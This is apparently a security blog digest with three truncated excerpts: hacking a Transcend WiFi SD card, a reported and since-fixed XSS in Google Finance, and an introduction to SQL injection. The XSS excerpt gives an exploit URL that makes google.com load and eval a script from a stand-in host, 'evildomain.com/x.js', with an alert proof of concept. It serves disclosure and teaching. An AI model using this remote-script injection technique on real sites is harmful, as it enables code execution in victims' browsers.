White Hackers

I am a recent and proud owner of a  Transcend WiFi SD card . It allows me to transfer pictures taken with my DSLR (which, being a NEX, is quite portable) to any wifi-enabled device in a matter of seconds. Since I love taking and sharing pictures while on the go, an SD card which can wirelessly transfer pictures to my phone seemed like a good solution. And it was! (and still is). The mobile apps could.. no,  should  be improved quite a bit (why download a 7MB image once to render it, only to download it AGAIN when tapping "download"?), but hey, it gets the job done! I was instantly amazed by the obvious fact that this small device can not only store 16GB -there's even a 32GB version available- in such a tiny space, but is an embedded system fully capable of running applications, including a webserver, communicating with other devices over WiFi, and even powering its own wireless network. But enough with the chatter: can we make this device do more than what it was designe...

On July 11 2013, I reported to Google Security a XSS vulnerability I discovered in  google.com main domain, which required no user interaction. It is due to a glitch in  Google Finance , which is hosted on  google.com/finance , that allows to trick the Javascript application for plotting charts (in particular, sourcefile  /finance/f/sfe-opt.js ) to load a file hosted on an external domain and  eval()  its content as Javascript code. This exploit does not require any user interaction, it's just a matter of clicking on a URL. Steps to reproduce: Just click on this URL ( now fixed ):  https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js . File  x.js  contains the following proof-of-concept code for demonstration purposes: alert ( document . domain ); The file has to be hosted over HTTPS. The remote Javascript is executed. How does it work? Here is th...

Put on your black hats folks, it’s time to learn some genuinely interesting things about SQL injection. Now remember – y’all play nice with the bits and pieces you’re about to read, ok? SQL injection is a particularly interesting risk for a few different reasons: It’s getting increasingly harder to write vulnerable code due to frameworks that automatically parameterise inputs – yet we still write bad code. You’re not necessarily in the clear just because you use stored procedures or a shiny ORM (you’re aware that  SQLi can still get through these , right?) – we still build vulnerable apps around these mitigations. It’s easily detected remotely by automated tools which can be orchestrated to crawl the web searching for vulnerable sites – yet we’re still putting them out there. It remains  number one on the OWASP Top 10  for a very good reason – it’s common, it’s very easy to exploit and the impact of doing so is severe. One little injection risk in one little fe...